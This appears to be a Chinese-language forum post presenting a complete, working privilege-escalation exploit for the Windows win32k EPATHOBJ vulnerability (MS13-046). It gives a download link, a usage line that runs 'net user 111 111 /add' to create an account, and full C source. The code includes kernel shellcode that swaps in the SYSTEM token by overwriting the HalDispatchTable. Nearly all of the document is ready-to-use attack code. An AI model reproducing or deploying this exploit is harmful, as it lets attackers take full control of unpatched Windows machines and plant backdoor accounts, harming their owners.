MS13-046特权提升漏洞, 不是MS13-053字体引起的远程代码执行漏洞,微软在Patch Tuesday计划中发布了此漏洞补丁;
安全公告: http://technet.microsoft.com/zh-cn/security/bulletin/MS13-046
从公告中可以看出从Win XP到Win2012系统均受影响, 并且不局限于x86 x64平台, IA平台的Win系统也在受影响之列;
下载:ms13-046.rar
使用说明:
ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW); [溢出程序名] [要执行的程序名] [附带参数(可空)] epathobj_exp32.exe cmd "net user 111 111 /add"
EXP代码:
/* * thanks to: Tavis Ormandy & ProgmBoy & instruder * by [email][email protected][/email] * build by WDK7600 * tested on windows 2003 x64 en * - 1.ImageBase=0x10000 * - 2.wdk makefile.new disable DYNAMICBASE_FLAG=/dynamicbase */ #include <stdlib.h> #include <stdio.h> #include <STDARG.H> #include <stddef.h> #include <windows.h> #include <Shellapi.h> //#include <ntstatus.h> #pragma comment(lib, "gdi32") #pragma comment(lib, "kernel32") #pragma comment(lib, "user32") #define MAX_POLYPOINTS (8192 * 3) #define MAX_REGIONS 8192 #define CYCLE_TIMEOUT 10000 #pragma comment(linker, "/SECTION:.text,ERW") // // win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase. // // Tavis Ormandy <taviso () cmpxchg8b com>, March 2013 // POINT Points[MAX_POLYPOINTS]; BYTE PointTypes[MAX_POLYPOINTS]; HRGN* pRegions = NULL; ULONG MaxRegions = 0; ULONG NumRegion = 0; HANDLE Mutex; // Copied from winddi.h from the DDK #define PD_BEGINSUBPATH 0x00000001 #define PD_ENDSUBPATH 0x00000002 #define PD_RESETSTYLE 0x00000004 #define PD_CLOSEFIGURE 0x00000008 #define PD_BEZIERS 0x00000010 #define ENABLE_SWITCH_DESKTOP 1 typedef struct _POINTFIX { ULONG x; ULONG y; } POINTFIX, *PPOINTFIX; // Approximated from reverse engineering. typedef struct _PATHRECORD { struct _PATHRECORD *next; struct _PATHRECORD *prev; ULONG flags; ULONG count; POINTFIX points[4]; } PATHRECORD, *PPATHRECORD; PPATHRECORD PathRecord; PATHRECORD ExploitRecord = {0}; PPATHRECORD ExploitRecordExit; typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; // Not filled in PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[ 256 ]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; typedef INT ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG ); typedef INT ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG ); typedef INT ( __stdcall *NtReadVirtualMemory_)( HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); typedef PVOID (__stdcall *PsGetCurrentProcess_)(); typedef PVOID (__stdcall *PsReferencePrimaryToken_)(PVOID Process); typedef INT (__stdcall *PsLookupProcessByProcessId_)(HANDLE ProcessId, PVOID *Process); NtQueryIntervalProfile_ NtQueryIntervalProfile; NtQuerySystemInformation_ NtQuerySystemInformation; NtReadVirtualMemory_ NtReadVirtualMemory; //#define __SHELL_CODE_MAGIC 0x11223344AABBCCDD typedef struct _ShellCodeInfo{ PVOID* MmUserProbeAddress; PVOID* WriteToHalDispatchTable; PVOID NtSetEaFile; PVOID* PsInitialSystemProcess; DWORD Pid; PsGetCurrentProcess_ PsGetCurrentProcess; PsLookupProcessByProcessId_ PsLookupProcessByProcessId; PsReferencePrimaryToken_ PsReferencePrimaryToken; } ShellCodeInfo, *PShellCodeInfo; ShellCodeInfo GlobalInfo; #if defined (_WIN64) #define MAX_FAST_REFS 15 #else #define MAX_FAST_REFS 7 #endif int __stdcall ShellCode(PVOID x, PVOID y, PShellCodeInfo* pInfo, PVOID w) { PShellCodeInfo info; //__SHELL_CODE_MAGIC; PVOID targetProcess, sysProcess, token; ULONG_PTR *p1, *p2; info = *pInfo; #ifdef _WIN64 /* FIX MmUserProbeAddress -> ((ULONG_PTR)(0x80000000000UI64 - 0x10000)) */ *info->MmUserProbeAddress = ((ULONG_PTR)(0x80000000000UI64 - 0x10000)); #else *info->MmUserProbeAddress = 0x7fff0000; #endif /* x64 4参数: rcx, rdx, r8, r9 -直接c3即可 */ *info->WriteToHalDispatchTable = info->NtSetEaFile; //if (info->PsLookupProcessByProcessId(info->Pid, &targetProcess) != 0) // return 0xC0000019; p1 = targetProcess = info->PsGetCurrentProcess(); p2 = sysProcess = *info->PsInitialSystemProcess; token = info->PsReferencePrimaryToken(sysProcess); /* token 4bit->refcnt */ while ((*p2 & ~MAX_FAST_REFS) != token){ p1++; p2++; } *p1 = token; return 0xC0000018; } DWORD WINAPI WatchdogThread(LPVOID Parameter) { // // This routine waits for a mutex object to timeout, then patches the // compromised linked list to point to an exploit. We need to do this. // printf("Watchdog thread %d waiting on Mutex\n", GetCurrentThreadId()); if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { // // It looks like the main thread is stuck in a call to FlattenPath(), // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean // up, and then patch the list to trigger our exploit. // while (NumRegion--) DeleteObject(pRegions[NumRegion]); printf("InterlockedExchangePointer(0x%p, 0x%p);\n", &PathRecord->next, &ExploitRecord); InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); } else { printf("Mutex object did not timeout, list not patched\n"); } return 0; } static int do_expoite(PVOID* addr, PVOID val, PBYTE cmd, PBYTE argv) { HDC Device; HDESK Desk; ULONG PointNum; HANDLE Thread; ULONG Size; INT ret = -1; PBYTE tmp = NULL; // // Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. // PathRecord = (PPATHRECORD)VirtualAlloc( NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); memset(PathRecord, sizeof(PATHRECORD), 0xCC); // //PathRecord->next = self //stuck here to wait for WatchdogThread set PathRecord->next = ExploitRecord // PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)(0x42424242); PathRecord->flags = 0; //init ExploitRecordExit node ExploitRecordExit = (PPATHRECORD)VirtualAlloc( NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); ExploitRecordExit->next = NULL; ExploitRecordExit->next = NULL; ExploitRecordExit->flags = PD_BEGINSUBPATH; ExploitRecordExit->count = 0; // //ensue ExploitRecord.next -> valid address and end record //ExploitRecord.next -> ExploitRecordExit node // ExploitRecord.next = (PPATHRECORD)ExploitRecordExit; ExploitRecord.prev = (PPATHRECORD)addr; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; printf("Alllocated PATHRECORDS:%p %p %p\n", PathRecord, ExploitRecord, ExploitRecordExit); tmp = malloc((int)ShellCode); printf("tmp->%p\n", tmp); printf("Creating complex bezier path with %x\n", (ULONG)(PathRecord) >> 4); // // Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { #ifdef _WIN64 Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = 0;//(ULONG)(PathRecord) >> 4; #else Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; #endif PointTypes[PointNum] = PT_BEZIERTO; } // // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). // Desk = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); SetThreadDesktop(Desk); MaxRegions = MAX_REGIONS; pRegions = realloc(NULL, sizeof(HRGN) * MaxRegions); Mutex = CreateMutex(NULL, TRUE, NULL); Device = GetDC(NULL); // // Spawn a thread to cleanup // Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); // // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. // // for (Size = 1 << 26; Size; Size >>= 1) { while (pRegions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)){ NumRegion++; if (NumRegion >= MaxRegions){ MaxRegions = MaxRegions*2; pRegions = realloc(pRegions, sizeof(HRGN) * MaxRegions); } } } printf("Allocated %u/%u HRGN objects\n", NumRegion, MaxRegions); printf("Flattening curves...\n"); // // Begin filling the free list with our points. // for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); if (PathRecord->next != PathRecord){ ret = NtReadVirtualMemory((HANDLE)-1, tmp, tmp, (SIZE_T)ShellCode, GlobalInfo.WriteToHalDispatchTable ); if (ret == 0){ printf("[*] exploit... %p!\n", &GlobalInfo); NtQueryIntervalProfile(&GlobalInfo, &ret); ret = 0; } break; } EndPath(Device); } printf("cleaning up...\n"); // // If we reach here, we didn't trigger the condition. Let the other thread know. // ReleaseMutex(Mutex); CloseDesktop(Desk); ReleaseDC(NULL, Device); WaitForSingleObject(Thread, INFINITE); VirtualFree(PathRecord, sizeof(PATHRECORD), MEM_RELEASE); VirtualFree(ExploitRecordExit, sizeof(PATHRECORD), MEM_RELEASE); free(tmp); free(pRegions); CloseHandle(Thread); return ret; } int main(int argc, char **argv) { HMODULE ntoskrnl = NULL; LONG ret; BOOL bRet = FALSE; HMODULE ntdll; PRTL_PROCESS_MODULES mod = (PRTL_PROCESS_MODULES)&mod; PBYTE osBase; HMODULE hDllOs; ULONG NeededSize; INT expCount = 0; STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); //GlobalInfo.Pid = GetCurrentProcessId(); //pi.dwProcessId; ntdll = GetModuleHandle("ntdll.dll"); NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress(ntdll, "NtQueryIntervalProfile"); NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress(ntdll, "NtQuerySystemInformation"); NtReadVirtualMemory = (NtReadVirtualMemory_)GetProcAddress(ntdll, "NtReadVirtualMemory"); if (!NtQueryIntervalProfile || !NtQuerySystemInformation || !NtReadVirtualMemory){ printf("error get ntdll fun address\n"); return -1; } /* * NtQuerySystemInformation query sys module info * STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 */ ret = NtQuerySystemInformation(11, mod, 4, &NeededSize); if (0xC0000004 == ret){ mod = malloc(NeededSize); ret = NtQuerySystemInformation(11, mod, NeededSize, NULL); } printf("ntos:%s->%p\n", mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName, mod->Modules[0].ImageBase); osBase = mod->Modules[0].ImageBase; hDllOs = LoadLibraryA((LPCSTR)(mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName)); if (!hDllOs){ printf("error reload os kernel\n"); return -1; } free(mod); GlobalInfo.WriteToHalDispatchTable = (PBYTE)GetProcAddress(hDllOs, "HalDispatchTable") - (PBYTE)hDllOs + osBase + sizeof(PVOID); GlobalInfo.PsInitialSystemProcess = (PBYTE)GetProcAddress(hDllOs, "PsInitialSystemProcess") - (PBYTE)hDllOs + osBase; GlobalInfo.PsReferencePrimaryToken = (PBYTE)GetProcAddress(hDllOs, "PsReferencePrimaryToken") - (PBYTE)hDllOs + osBase; GlobalInfo.PsGetCurrentProcess = (PBYTE)GetProcAddress(hDllOs, "PsGetCurrentProcess") - (PBYTE)hDllOs + osBase; GlobalInfo.PsLookupProcessByProcessId = (PBYTE)GetProcAddress(hDllOs, "PsLookupProcessByProcessId") - (PBYTE)hDllOs + osBase; GlobalInfo.MmUserProbeAddress = (PBYTE)GetProcAddress(hDllOs, "MmUserProbeAddress") - (PBYTE)hDllOs + osBase; GlobalInfo.NtSetEaFile = (PBYTE)GetProcAddress(hDllOs, "NtSetEaFile") - (PBYTE)hDllOs + osBase; printf("HalDispatchTable - %p MmUserProbeAddress - %p NtSetEaFile - %p \n", GlobalInfo.WriteToHalDispatchTable, GlobalInfo.MmUserProbeAddress, GlobalInfo.NtSetEaFile); while (do_expoite(GlobalInfo.MmUserProbeAddress, NULL, argv[1], argc > 2 ? argv[2] : NULL) != 0){ if (expCount > 0x10) break; } printf("[*]exe %s\n", argv[1]); if (!CreateProcess(NULL, // No module name (use command line) argv[1], NULL, NULL, FALSE, 0, //CREATE_NEW_CONSOLE | CREATE_SUSPENDED, NULL, NULL, &si, &pi)){ printf("CreateProcess failed (%d)./n", GetLastError()); return -1; } //ResumeThread(pi.hThread); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; }